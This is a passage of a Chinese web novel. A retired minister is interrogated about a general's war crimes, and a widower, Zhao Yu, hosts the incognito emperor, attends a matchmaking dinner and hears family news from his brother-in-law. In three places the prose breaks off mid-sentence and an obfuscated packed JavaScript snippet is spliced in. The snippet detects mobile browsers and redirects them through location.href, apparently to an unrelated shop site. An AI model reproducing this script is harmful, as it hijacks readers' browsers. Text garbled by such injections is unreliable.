尹桂宝儿恍然大悟,不过马上他又想起来一件事,“当今圣上有皇后?没听说啊!” 尹夫人沉吟了一下,“他不是皇后的外戚,他是崔太贵妃的侄子。” “我亲爹不是自命清高吗,怎么会和崔侯这样的外戚权臣扯上关系?” “这个你不懂,那位崔太贵妃嘛,她就是你姐夫的,……” 还没等尹夫人说完,管家尹六进来。 他径自到尹明扬身边,在他耳边说了两句,尹明扬的脸色变了。他甚至连托词’身体不适’都没有,直接起身离开。戏台下面的一众客人面面相觑,尹夫人连忙吩咐人上了酒肉果品,众人见她依旧端坐在太师椅上,逐渐着,也就慢慢安静下来。 尹桂宝儿多了个心眼儿。 他说自己听不懂,实在坐不下去,自己闪了出来。 桂宝儿他爹尹明扬回了书房,管家从外面领了五个陌生人进来。那五个人全身暗色劲装,衣服上却不是素色的,而是暗绣着繁复的花纹,看起来,似乎是——缇骑? 他们的背后是加着红封的牛皮袋。 书房大门紧闭。 不一会儿,管家也出来,不过他没有走远,就站在门外。 书房内。 “尹大人。”那五人中为首的那位抱拳,“下官,北镇抚司梁十一。” 尹明扬说,“老夫当不起’大人’这个称呼。” 梁十一说。“大人致仕之前任职兵部尚书。如今部堂大人这个称呼是用不得了,不过被尊一声’大人’,尹大人就不用推辞了。” “好,那我就听着。”尹明扬点头,“梁大人隶属镇抚司,是上差,身上带着谕旨,有什么话尽管说,我一定知不无言,言无不尽。” 梁十一示意那些人将后背的袋子拿下来,从里面拿出一封一封的文件。有些竟然是用牛羊皮写的,仔细卷着,似乎上面还有干涸的血迹。做这件事情的时候,梁十一一直看着尹明扬,眼神毒辣。 “尹大人,梁某此次前来除了有持有内阁的手令之外,另奉有密旨。圣上到是没有期望尹大人可以’知不无言,言无不尽’,毕竟您是忠臣,不是缇骑,不可能将所有知道的事情尽数禀告圣上。作为臣子,曾经的封疆大吏,您有您的为臣之道,圣上有圣上的为君之道。” 梁十一从五袋子的文件中只拿出一份。 “这是前延绥镇守将军何晋的供状。” “何晋?”尹明扬听到这个名字,有些悚然。 “是。”梁十一说,“镇守将军手握重兵,一方诸侯,封疆大将,起居八座,威风八面,莫要说京官就算那些王公都要望尘莫及。不过,既然领了这个官职,既然得了这个威风,安民守土就是职责。城在人在、城亡人亡。何晋在蒙古鞑靼进犯绥靖的时候弃城而逃,致使十万民众落入敌手。后幸德王师西出敦煌,克复绥靖。现如今何晋已经被押解回雍京,入了诏狱,第二天就开了口。他亲手写下这份招认供状,别的到没有什么稀奇,无非就是他平时勤于嬉戏,懈怠练兵,战时恐惧,为了保命而弃城。不过,他到写出一件往事。” 尹明扬看着梁十一,“请上差明说。” “先帝凤化二十三年,何晋曾经在尹大人麾下立过大功。当年在嘉峪关外,瓜、沙二州之地,吐鲁番部族叛乱,何晋亲自上阵,斩杀敌军十万。先帝特旨,何晋由一名小小的千夫长成为六品游击,而尹大人您也得以升任兵部尚书,不久,进入内阁。” 梁十一停下,尹明扬一言不发。 “尹大人,那敌军十万,有四万是敦煌无辜牧民。何晋斩平民头颅冒领功劳,欺瞒先帝,这件事,您是否参与?” 尹明扬断然回答,“不曾参与。” “那,这件事情,您当时可曾知晓?” 寂静,死一样的寂静。 梁十一又说,“圣上只想知道尹大人是否知晓?” 尹明扬,“不曾知道。” …… “尹大人,您已致仕,失察之罪不会影响仕途。可是,如果您欺瞒圣上,那就是祸及家人亲族的重罪,望三思。我再问一遍,何晋斩平民头颅冒领功劳,欺瞒先帝,这件事,您是否知道?” 尹明扬颤动了一下嘴唇,他发现自己无法出声! 他有些不敢相信,曾经名震西疆诸国的尹总督竟然让一个小小的镇抚使问的哑口无言! 然而梁十一并没有继续逼问,他想,自己已经知道想要得到的答案了。 …… 尹桂宝儿在外面看不出任何门道,书房的大门一直紧闭,他等了等,觉得无缺就回到前花园。 戏台子依旧热闹,那些小戏子们依旧咿咿呀呀的唱着。 他听着脑子乱七八糟,只是忽然想起来她娘说那个什么崔太贵妃的事情,似乎好像和他姐夫有关。 “亲娘,您说那位崔太贵妃,她是姐夫的什么?” “什么?” “就是您方才说的?” “忘了。” 尹夫人正和旁边的二姨妈和三伯母吃蜜饯,对他的话一点兴趣也没有。 …… 赵毓回来的时候,后面跟着一个醉仙楼的伙计,手中拎着食盒,里面是醉仙楼的几道名菜。 他看修葺屋顶的师傅干完了活,想要留饭,那位师傅说什么也不肯。“俺那帮子弟兄还在炕上等着俺,干了活有了钱,回去继续耍耍。” “成,师傅您慢走,马上发财啊!” 送走那位泥瓦匠,赵毓指着食盒道,“醉仙楼的大师傅发干货用高汤老火烹饪海八珍在行,只是这次时间紧,他们没空准备,我就随便让他们炒了四个菜,算是凑一桌席。” 说完,让伙计把食盒留下,就让人先走了。 不一会儿,隔壁的江寡妇的小伙计亲自送了热包子过来,还顺带着把赵毓狠狠谢了一番。 夜饭吃的倒是很丰盛,就是依旧没有声音。 赵格非觉得,凡是有那位’六叔’在的场合,都像荒漠。 赵毓身体一直不是很强壮,尤其最近几年上了点年纪,离死还远,可也不再青春少艾,吃饭还是很细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728862|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致的。只不过最近几年一个人带着女儿,养成了一面自己吃,一面给闺女夹菜的习惯。 一块脆耳。 一条漕溜鱼段。 两颗鲍汁烧的干笋。 还有,一条鸭子腿。 赵格非撑的有些难受,最后实在受不了这才在饭桌上开口说话,“亲爹,我吃撑了。” “咦,才吃几口就撑了?”赵毓惊讶,“要不你在院子蹦蹦,等肚子的食儿下去点再吃?” “亲爹,我不能再吃了,再吃该吐了。”赵格非放下碗筷,“我现在感觉刚才那条鱼段就在嗓子眼里,难受。” “那别吃了。”赵毓让她先回屋休息,他把闺女的碗拿过来,将剩下的饭菜慢慢吃光,却看见对面的那个人正在看他,秀致的鸦翅眉下一双眼睛,深的像是雍京的镐水。赵毓问他,“怎么,你也吃撑了?” …… 那名被赵格非称呼为’黄瓜叔’的秀美男子连忙放下碗,冲着赵毓说,“祖宗,我也吃饱了。” 赵毓,“哦,那你帮花骨朵儿烧水去吧。” 黄瓜,“哎!”说完,他麻利儿的溜了。 屋子中只有两个人,不冷不热,那位早就脱去了白貂皮大氅,身上的黑色缂丝袍子异常厚重,宽大的袖子落下,露出他的手臂,荧白色,像是玉雕一般。他用双手拿着碗筷安静的吃着,安静咀嚼。 等吞咽下食物,他这才淡淡说了一句,“我没吃撑。” “哦。” “这一路上还顺利吗?” “挺好的。只是,……” “什么?” “我遇到了缇骑的梁十一。” “你怎么会遇到他?” “我们从云中回来的时候走的是五台到阜平的秘道。” “哦。” “我看他的样子,估摸着他要去,……,云中?” “嗯。”那人点头。 “梁十一,……,是去见我岳父尹明扬?” “是。” “出什么事了?” 那人道,“一些小事,我只是想要北镇抚司派几个人去云中,见到令岳当面询问一下。” 赵毓点头,“哦,看样子,是泼天的大事。” “不一定。”说道这里,那人微微一笑,“这几天在云中住着舒服吗?” 赵毓苦笑,“舒服,那肯定舒服,就是不敢再住下去了。” “怎么?” “我那个小舅子都敢往我屋子里面塞丫头了。” 那人冷笑一声,“尹徵?他才多大,和你那个闺女一样年纪吧。” “不,桂宝儿大一些,他比花骨朵儿大三岁,今年正好十七。” “嗯。”等了一下,那人又问,“漂亮吗?” “谁?” “尹徵塞给你的丫头?” “没仔细看,不知道。”赵毓摇头,并且开始啃鸭子,“倒是我丈母娘给我塞了一个他们尹家二房三伯母家的堂妹,长的相当不难看。” 那人又是冷笑,“你记得到是真清楚。” 赵毓不说话,继续啃鸭子。 那人似乎也吃好了,放下碗筷,拿出熏了极重极名贵檀木紫藤香的绢帕擦了擦嘴角,说,“今晚我睡哪里?” “你想睡哪儿?” “这得看你。你让我睡哪里,我只能睡哪里。这里是你的地盘,我可不敢造次,不然下次进不来门,连这样的糟粕之食也吃不上。” “我买的是醉仙楼名厨的菜!”赵毓吃完饭,把自己的碗叠在那个人的空碗上,“成,我让黄瓜把我那屋的土炕烧暖和一些,别冻着你。” “好。” 5. 05 05 赵格非寅时起床。 她推开窗子看了看外面。 果然,寅时的天空应该是相仿的,不论是云中,冉庄,甚至是雍京,——像是薄黑色的纱幕笼罩着即将破晓而出的太阳。 她坐好,翻开书本,开始用功。 叩叩叩。 有人敲门。 她打开门。 亲爹赵毓捧着一碗冒热气的红枣红糖水进来。 “早上冷,给你喝点热乎的东西,暖暖。”赵毓说着把糖水放下,“你黄瓜叔煮的。” 赵毓身上裹着一个旧棉袄,破是破了些,但是胜在暖和。 ……香,犹如瑰奢一般的香气,鬼魅一般从赵毓的头发中飘出来,萦绕在屋子中。 他坐在赵格非的书桌旁,手指随意点点,“闺女,你这么用功做什么,女子之身生而有罪,不能去考状元。” 赵格非用汤勺一口一口慢慢喝着糖水,腻腻的,几口下去,全身都暖和了起来。 她说,“我是让您活生生给吓的。” “我?”赵毓很意外,“你亲爹我从来没有逼迫过你吧,我从来没有妄想过望女成凤。我只想你平平安安的长大,以后安逸的生活。” “您倒是没有逼迫过我,只是我成天看着您,挺吓人的。” “怎么?” “我可不想变成您这样游手好闲,不学无术的人,一本书都看不完。我想要正正经经的读书。” …… 赵毓抓了抓耳朵后面的乱发,“其实吧,您亲爹我还是看过几本书,些许认识一些字的。” “哦,是吗?”赵格非将自己正在苦读的书翻开,递到赵毓面前。“亲爹,那您给我解读一下这篇文章?” 赵毓借着烛火看了一眼,——斗谷於菟……乳谷……於菟…… “闺女,你就算是想要考考你这个貌似文盲的老爹,你也给我选个难一些的。”赵毓手指点着字说,“《左传》里面都写着呢,这是古楚语,乳谷就是楚人,於菟是虎,而这个斗谷於菟则为故命之。战国时期楚人用的是古楚语,与中原六国都不同。屈夫子写的东西为什么那么拗口,就是因为他并不是用汉字写的。先帝时,古楚旧地云梦泽挖出过几套竹简,上面的文字正是真正是古楚文字,其中一套就是屈原的《天问》,现在那套还在大正宫放着,一群老夫子正在挖山钻洞般的解读,已经通了大半部,就是不知道什么时候能全部通读。不过我倒是能大约用古楚语背出半套来,你要不要听?” 说完,他开始背诵诡异的《楚辞·天问》。 鸟语。 虽然说起来很侮辱先民,但是古楚语听着当真是鸟语。 赵格非从来没有听过那么奇诡的声调。该长的音短,该短的音长,还有一些类发声尖锐的音符,听着如同山林中千水河流淌,万鸟鸣涧,恍然之间,她明白了《孟子·滕文公上》中所说的’今也南蛮鴃舌之人,非先王之道’的真正含义。 赵毓背了半本,发现赵格非如同看着妖怪一般看着自己。 “我不是问过你见没见过雍京寅时的天空?有那么十几年,你亲爹我天天见雍京寅时的天空,一天都没落下。闺女,别看我现在不学无术,你想要学成我这样,也得几年苦读!” “……” 东方泛出鱼肚白。 赵毓站在回廊下看着天空,清晨的冷意让他的脑子格外清楚。因为这样清醒,所以面对一些问题又开始模糊起来。 他见文湛也走出来,身上的白貂大氅映着雪色,不知道怎么地,久远年代形容那个人的一个词一闪而过——国之重宝。 文湛当得起这四个字。 “醒了?” “你起来,我就不睡了。” 那个人过来,赵毓递给他一碗热茶,加了红糖的,暖胃。 他问赵毓,“想什么?” 赵毓,“不知道花骨朵儿像谁?当年我在东宫读书的时候,每天早晨,如果不是黄瓜撒泼打滚、掀被子干嚎,我根本就从被子里面爬不出来。现在格非每天寅时起床读书,让我都不能安心睡到日上三竿。我在想,也许我骨子里面有我不知道的勤奋,虽然在我身上没有显现出来,但是却通过骨血到了格非身上。” 无人说话。 过了一会儿,赵毓问他,“文湛,你怎么不说话?” “无话可说。” 赵格非读完书,出来拿着青盐漱口的时候,发现院子里只有黄瓜一个人。黄瓜围着她亲爹的围裙正在刷锅,那边厨房的木桌上已经放着准备好的饭点,红枣小米粥,一小盘京城清水斋的点心,还有一碟子玫瑰腐乳和一个竹子蒸笼。 “大小姐,看完书了?快来吃饭。”这位黄瓜叔顶着一张男女莫测的脸,笑的一脸贤惠。 “咦,我爹和六叔呢?” “打猎去了,说中午套点兔子好加餐。” “中午我爹不是要去相亲吗?” “哟,那事儿可不归我管,我不知道。大小姐,吃饭吧。” 赵格非坐好,拿着筷子,看着黄瓜掀开蒸笼,里面是一只鸡腿,“大小姐,这是你爹临走之前杀的鸡,他给你留了一只最大的鸡腿,剩下的放在后面的瓦盆上炖着。” “这么早还能杀一只鸡?” “不但杀了鸡,还挖了坑,种了两株梓树,也不知道冉庄的冻土能不能活。” “这不是梓树。”赵格非说,“这是年前我和我爹上山,他撅的两根木棍,我们做拐杖用的。” 黄瓜,“……” 大约晌午之前,赵毓和文湛就回来了。 赵毓手中拎着两只肥兔子,让黄瓜拿刀剃毛,同时烧火准备酱料,他要黄焖。 “你们在家吃饭,我和花骨朵儿过去一趟。”赵毓说,“不管怎么说这是我攒的局,不能不去。闺女,收拾收拾走吧。” “爹!您是我亲爹!”赵格非惨叫,“您不能每次遇到不想去又非去不可的相亲就带给我给您挡煞!” 文湛听到赵格非这样说,本来他一直打定主意不开口,也开金口来了一句,“不想去就不要去。” 赵毓招呼黄瓜给他搬了一个马扎过来,坐在赵格非对面,“闺女,我原来怎么说的?世道艰难,这尘世就是异常的寂寞如雪,这有很多事情不是你不想做就可以不用做的,真的。就比如郭大娘这事,暴雪压榻了屋顶,正月没有人过来修,我去找人家,人家二话没说直接带着师傅上门了,人家家里还有孩子没吃饭呢。这样的事情不能当面回绝人家,显得咱们不近人情,是呗?” 赵格非听着撇了撇嘴,黄瓜惊异的发现,她这个表情和赵毓小的时候一个模样。 赵格非说,“那我不想去,……,要不,让六叔陪您去?” “你六叔不是一个很好的借口。”赵毓摇头,“格非,只要你在场,以后郭大娘要是再问题来,我只要说你不同意,一切就解决了。”他见赵格非态度柔软了,又说,“不过就是一顿饭,沿河白家的驴三件挺有名的,你多少尝两口,要是实在吃不惯,回来你黄瓜叔给你黄焖兔子。” 赵格非终于点头。 只是,他们出门的时候,文湛也跟随。 他淡然道,“虽然做不了借口,不过可以去见识一下。承怡,这个不想去又不得不去的相亲真让人,……” 黄瓜为他披上一件半旧的棉袍。 “走吧。” 沿河白家祖上是漕帮,靠着毛驴贩运官盐私盐。运过来的盐卸掉之后,他们一般会杀掉几头驴给弟兄们加菜,这样,等他们不做贩盐的买卖之后就开始在冉庄沿河的地方开饭铺,卖驴肉。 郭大娘带人进来的时候发现赵毓这边早就等在一旁。 赵毓本人,他闺女,还有昨天见到的那个俊的扎眼的年轻男人,今天倒是穿着朴素多了。只是,他坐在这里,让人感觉热气腾腾的驴肉锅也像是腊月上冻的冰棱子。 郭大娘身后带进来两个女子。 一共六个人,八仙桌坐好。 郭大娘说这家姓洪,在沿街有铺面,开着饭铺,生药铺,还有胭脂水粉铺的买卖,价格公道,童叟无欺。虽然冉庄本地就驻着大皇商崔家,大盘生意洪家他们抢不了,可是小老百姓的衣食住行他们占了不少份额。 赵毓特别热情,他主动给对方斟茶倒水,随后,面对其中一个女子问道,“不知道您平时都有什么消遣?” “也没有什么消遣。” 搭话的女子模样好看,白净白净的脸,眉有些细,说话的时候眼睛微微垂着,像是有些害羞,虽然看起来年纪并不是十几岁的样子,可是赵毓也不年轻了,续弦本来也不想着找小姑娘。 赵毓又问,“您属什么的?” “属兔。” “哦,比我小两岁。”赵毓眼睛转了转,“那您家里还有什么人?” 那女子端起来赵毓给斟的茶水,“我们当家的,还有一个闺女。” “……”赵毓连忙笑着说,“妹妹,您要是还有相公就这么出来相亲,不太好吧。虽然我看您挺顺眼,也愿意,哦,那个啥,可是这个,……” 那名女子把茶水放下,说,“我本来也不是来相亲的,我为了我姑娘来相看你的。” 说完,她脸微微扭向一旁。 那边坐着一个小姑娘,看着也就比赵格非大个一两岁,穿着青绿色的袄裙,外面还披着一件青绿色的小棉马甲,跟一根青萝卜一样。 赵毓的缝隙眼,竟然好似从来一点没看着这里还有个大活人! 他看了一眼那姑娘,发现这个姑娘虽然没有长开,但是模样不错,比她娘看着更白净一些,一直垂着眼睑,感觉眼神好像不太好,眼睛珠子有些淡。 他侧眼看了看文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728863|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湛,后者对他微微颔首。 …… 回家的时候,赵格非啃着已经焖烂的兔肉还在感叹,——“相亲相到姑娘没相中,倒相中了丈母娘。亲爹,您拒绝女人的借口真是愈发的出神入化了。” ‘六叔’很忙,不能在冉庄久住,一过十五,他就骑马回雍京了。 原本想着这桩婚事就黄了,谁知道那位被赵毓相中的姑娘妈好像还真相中了赵毓。虽然做法不明显,可是过了正月之后,那位洪家的让丫鬟给赵格非送了几次吃食,还有一盒子胭脂水粉。 过了三月三,日子一天好过一天。 院子中的柳条抽了枝,不远处的桃树也显出了粉红色的花苞。 那个洪夫人又让人给赵格非送来了一桶熬煮的甜汤。 赵格非从门口接过来,双手端着,回身看见赵毓正端着一个永嘉紫砂壶满院子溜达,他看见这碗汤,直接从赵格非头上摘下来一根银簪子在汤桶中搅了搅,银簪子没有变色,他却说,“人这一辈子总是见一些不三不四的人,吃一些不干不净的东西。倒了吧。” 他把簪子又给赵格非戴了回去,“闺女,一会儿出城骑马去?” “不去,要看书。” 从正月听到赵毓用貌似纯正的古楚语读《楚辞》之后,赵格非看书看的愈加勤奋。 她原来一直觉得自己亲爹是文盲,结果发现一个人其实很难真正了解另外一个人。即使是把她抚养(虽然有一多半的时间她住在外祖家)长大的亲爹,她也不是完全了解,这让她有些沮丧同时欣慰。——至少不是朝夕相对的亲爹,对方有些秘密还是可以容忍的,不然她会感觉自己更白痴。 赵格非回屋之后,赵毓歪歪了脖子,拿着茶壶继续喝水。 忽然,院外有声音。 “您是罗大狮罗先生吧。我听姐夫提到过您,说您是一位德高望重的先生,原本以为您应该已经是白发苍苍,没想到您如此年轻!” 赵毓这个小破院子和另外一家人比邻而居。 那家主人姓罗,名叫罗大狮,是位老先生,开馆授徒,他身上还带着功名。虽然罗老先生的院子小,可是人家可以正式的面南背北,而赵毓这等草民的屋子就得必须斜着,门口也是拐进来的。 罗大狮喜欢大清早在院子门口打太极拳。 他练了一圈,正冲着苍天吞吐云雾,高声嚎叫,以吸收天地精|气的时候,院外人嘶马叫,来了一队人马。 一个穿着花红柳绿的少年下马,到他面前恭恭敬敬的问候。 罗大狮虽然还是认不出眼前人,但是面对这样一张笑脸,说话又这样奉承的华服少年,实在是不把嘴角咧到耳朵边上都不成啊! “我是罗大狮,您是,……” “在下姓尹,名徵,是故赵夫人的亲弟。” 罗大狮这才恍然大悟,“赵先生的内弟!失敬,失敬。” “罗先生,我姐夫在家吗?” “在,在!”罗大狮笑的好像蜂蜜豆腐脑一样,“尹公子,您跟着我,我为您带路。” 罗大狮与尹徵一前一后走进来。 赵毓看着他们说说笑笑,好像是上辈子失散的兄弟。 罗老先生离开的时候,尹徵还很周到的送他到小院门边。这面一边说着罗先生慢走,那面一边让他不要出来送了,此时,这二人才依依惜别,活像演了一出梁山伯与祝英台的十八相送。 尹家有两个小厮跟着尹桂宝儿走进来,此时垂首站立,手中平举着两个长木盒,一人一个。 赵毓相当意外,“桂宝儿,你怎么到这里来了?岳母大人不是死也不让你出云中的吗?” “紧要事,不止一件。”尹徵凑到赵毓耳朵边上,“姐夫,这些事我只能跟你说,跟你一个人说。” “成。” 赵毓揪着尹徵的袖子回屋,一到门口,陡然站住。 不成! 屋子,里面,有人。 “姐夫!你要停也说一下,走得这么急,停的这么急,撞到我鼻子了!” 赵毓低声哄着他,“你先到那边的屋子等我一下。” 尹桂宝儿,“神神秘秘的,为什么你屋不能进?姐夫,你跟我说实话,是不是屋子里面有娇娘?我明白,我姐走了这么多年,你早该续弦了,这么多年你还单着就是因为花骨朵。姐夫,你要是怕娶了后妈对花骨朵不好,把闺女送到尹家,有我娘在,有我奶奶在,没人敢欺负咱的花骨朵!” 吱呀,一声。 赵毓房屋的门从里面被推开。 文湛就站在门边,没有向外迈腿。 大清早阳光泛着青,青白耀目的光照在他的脸上,显得皇帝那一对如同鸦翅一般的眉格外的黑。 “男,……,男人?”尹徵看了看他,又看了看赵毓,“姐夫,这个,……,难不成,你要给花骨朵娶个后爹?” 6. 06 06 赵毓踢了尹徵一脚,让他闭嘴,“别瞎说!桂宝儿。” 尹桂宝儿,“那这位是,……” 赵毓没搭理他这个话茬,“你找地儿坐,有啥事就说。” 尹桂宝儿看着文湛,忽然自作聪明的来了一句,“哦,我知道了,你一定是我姐夫娘家的亲戚!” 文湛看着尹徵,微微眯了一下双眼。 赵毓瞪了尹桂宝儿一眼,随后对文湛说,“黄瓜把饭做好了,要不,您先出去吃个饭。” “不急。”文湛本来要出门,这个时候倒向屋子里面踱,“难得你有亲戚从远方来,我见见。” 此时,黄瓜端着一壶新泡的茶过来,“几位爷,别堵门口啊,有什么事情屋子坐着说话,那样也舒服。” 文湛一转身回到屋子里面,尹徵推着赵毓也进来。屋子并不凌乱,床被已经被收拾的很整齐。 黄瓜给所有人都倒了茶水,他自己就走了。 文湛倒没有任何想要离开的意思,他就坐在一把木椅上,安静的单手端着茶盏喝水。 尹桂宝儿又看了看文湛,最后有些为难的看着赵毓,“那个,姐夫,……” 赵毓知道自己无法把皇帝请出去,于是认命的看着尹徵,“桂宝儿,有什么事儿你说就好了。他不妨事。” 尹桂宝儿,“哦,既然是姐夫娘家人,那么自然也就不妨事吧。”说完,他就满脸堆笑,对着文湛问,“这位大哥,您怎么称呼?” 尹徵是云中有名的贵少! 这不只因为他爹尹明扬是威名赫赫、名震西疆诸国的’西北王’,还有因为他这个人非常善于结交朋友。不管对方是出身名门显族还有贩夫走卒,三教九流的人物只要是尹桂宝儿想要认识的人,他一般都能认识。这不,这是他第一次出云中,竟然也能做到交友遍布黄河两岸。 俗话说,伸手不打笑脸人。 文湛回答,“我行六。” ——官话,雍京官话,平和绵软中带着那么一丝的千娇玉贵。 尹桂宝儿听见这样的声音,下意识仔细打量这个人。他总感觉姐夫赵毓交游广阔,不一般,不然怎么随便碰个朋友都是这样的口音? 顿时。 尹桂宝儿赞叹,“哦哦哦哦哦哦!一听您就是个牛人!” 赵毓一听他这个语气,立刻捂脸。 果然,接下来尹桂宝儿就来了一句,“牛人一般都行六!” 皇帝,“……” 尹桂宝儿自来熟,“那我就称呼您六哥吧。”说着,他也端着茶盏喝了一口茶水,“啧啧,姐夫,你这小日子过的不错哟!这可是岐山云雾,十两黄金一两茶!这就是岐山神宫的树,就在它后面那小块茶园里,一共就两棵。啧啧,上次你带过去的半斤凤凰单枞我都认为是极品了,这个简直就是仙品啊!” 赵毓,“你还挺有本事,居然能喝出来是岐山云雾。” 尹桂宝儿,“别提了,上次刘巡抚那个儿子从雍京弄回去一两这个岐山云雾,招呼我们十个人愣是喝了十天。最后涮的都没味了,他还在那儿砸吧嘴呢!” 赵毓,“有事儿就说,怎么了?” 尹徵命令门外候着的小厮把木盒拿进来,随后也让他们在屋外等候。他打开其中一个木盒子,里面是几套的黄金首饰,其中有缀着南珠的步摇,还有一只凤钗,尾巴上全是血红色的宝石;另外一个盒子中全是玉器,尤其是那几对昆仑羊脂玉的镯子,宝光四溢。 “这是表舅母给花骨朵儿的东西,收着。有钱不要王八蛋,对呗,姐夫!” 赵毓,“怎么了?” “咱娘说,要你给花骨朵儿找个好人家。你手头要是紧,闺女的嫁妆我们老尹家出。老娘还说了,这花骨朵的姑爷呢,也不要多有出息的,家境平稳一些就好;不用什么王公贵胄,只要公婆和善;哦,对了,还有,不能要那种娶小老婆一娶娶一窝的,上梁不正下梁歪,当老公公的这样,那儿子有样学样,好不到哪儿去!” 尹桂宝儿说了半天的废话,这个时候才想起来要说啥,“这几个盒子的珠宝首饰都是二表舅母,哦,姐夫可能不认识,她家老头儿一直在福建做水师,她这次跟着老头儿进雍京述职,好像听说搭上了谁谁,姐夫你别瞪我,我也不记得是谁了。反正就是,她家老头儿好像发达了,然后,那个二表舅妈过来,跟咱娘说,想要把花骨朵儿送进宫去。” “送进宫?”赵毓一愣,“进宫干嘛,养花?” “什么啊。”尹桂宝儿有些痛心疾首,“是被送去后宫。” 赵毓的脑子中有坑,他无法把闺女和文湛联系起来,听尹桂宝儿这么解释,他马上就明白了。 “哦!”想到这里,他看了文湛一眼,发现皇帝把手中的茶盏放下。 这一次,皇帝的那双眼睛如同雍京外的镐水一般,黑沉沉的,无波无纹。 赵毓,“这是岳母大人的意思?” 不知道怎么了,尹桂宝儿觉得一向温和的姐夫有些阴冷。 “什么啊!”尹桂宝儿,“我娘当时气的把锅给砸了?” 赵毓,“锅?” 尹桂宝儿,“当时后厨蒸了八大碗,咱们云中不是冷嘛,老太太的意思是让厨子把正好的东西用整个锅抬进来慢慢吃,结果那个二表舅妈一说话,咱们老太太就掀锅了。我从来没见过我娘发那么大的火。” 气氛有些不对。 尹桂宝儿看着赵毓,又看了看文湛。 “这六哥不是外人,我就实话实说,不是咱们老太太清高又矫情,感觉给皇家做妾委屈咱们姑娘。俗话说的好,这普天之下莫非王土,率土之滨莫非王臣,咱们人都是皇上的,臣女进宫侍奉也是分内。只是这花骨朵儿身份太低。姐夫你说说,要是闺女姓尹也就算了,可是她偏偏是你这个草民的女儿,进宫肯定做不了娘娘,一定得是那个端茶递水,再惨,指不定还得去端夜壶。咱们家千娇万贵的闺女进宫去端夜壶,老太太听了能不生气吗?再说,当今圣上他老人家,……” 文湛忽然开口,“他老人家?” “嗯,皇上他老人家。”尹桂宝儿纳闷这个六哥为什么插话,他看赵毓,而后者捂住额头,没看他。 文湛道,“尹公子怎么知道皇上是老人家?” “六哥,您这是寒掺我。”尹桂宝儿,“我虽然跟我姐夫一样,挺不学无术的,可我又不是不识数!您看,今年是元熙十三年,咱们的皇上是十四年前登的基,这一般来说,皇上登基的时候肯定正在壮年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728864|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,算年轻点,也得小四十了。现在过了十四年,正好是五十多,不到六十。俗话说的好,人活七十古来稀,再来十年,皇上也就古稀了。再说他身份尊贵,大家尊重一些,说他老人家也不过分。是呗,六哥?” 皇帝,“……” 赵毓把一直挡在额头上的手拿下,“桂宝儿,你高兴怎么着,就怎么着吧。” 本来以为这个话茬就算接过,结果文湛还是有些不依不饶,“皇帝登基的时候十九岁。” 尹桂宝儿一惊,“这么年轻?这十九岁,十三年,哦,皇上今年三十二岁,这比我姐夫还小四岁哪!”随后,自己感叹,同时唉声叹气,“人比人得死。姐夫,看看人家,这么大的功业,再看看你,诶,……” 赵毓站起来,“你要是没什么事,就到街口找个地方住下吧。” “官话!姐夫你又说官话啦!哈哈,我发现姐夫你没睡醒,睡迷糊,还有就是生气的时候说话的声音特别好听!!正经的雍京官话,听着就尊贵。” 尹桂宝儿赶紧抓住椅子背,“你别赶我啊,我这话还没说完呢!老太太感觉那个二表舅妈来意不善,可是我们都是亲戚,我爹又没官了,二表舅妈他老头儿高升了,咱们硬碰硬不好。这才让我过来,让你把花骨朵儿的婚事定了。这一下定,那边就别想了。那个二表舅妈不厚道,她想要巴结谁,怎么不把她家姑娘送进宫?她这么坑花骨朵儿,就不怕万一咱们姑娘进宫以后真发达了,给皇上生个一儿半女的,把她抓起来剁了?姐夫,别说,要是咱们家也出个娘娘,咱也能像宁淮候崔珩那样了,牛,牛气冲天。” “姐夫,你别嫌我啰嗦,其实我今天来,是偷着来的,我爹不知道。您也知道,我娘死也不让我出云中,可是我总觉得我都这么大了,也应该到直隶雍京这边来见见世面,长长见识。”尹徵忽然正色到,“我见他和我娘嘀咕了大半夜,然后派人到直隶这边来,我就也偷偷跟着过来了,那些珠宝首饰本来是我娘另外找人送过来,但是我在到保定府的时候就让他回去了。” “他们这次来,还有另外一件事,一件大事。” 尹徵高叫,让外面侍候的人抬了一个木箱子进来,放下。那些人做完之后连忙出去。 “今年送进京的冰炭敬,本来年前就要送来的,这不前方有战事,就耽误了。再加上老爷子也致仕了,就晚了些。现在送来时机也不错,这个时候许多京官的银子花的差不多,青黄不接,正好送上一笔,填补空缺。” 赵毓看了看,掂量了一下,“桂宝儿,这钱不少。” 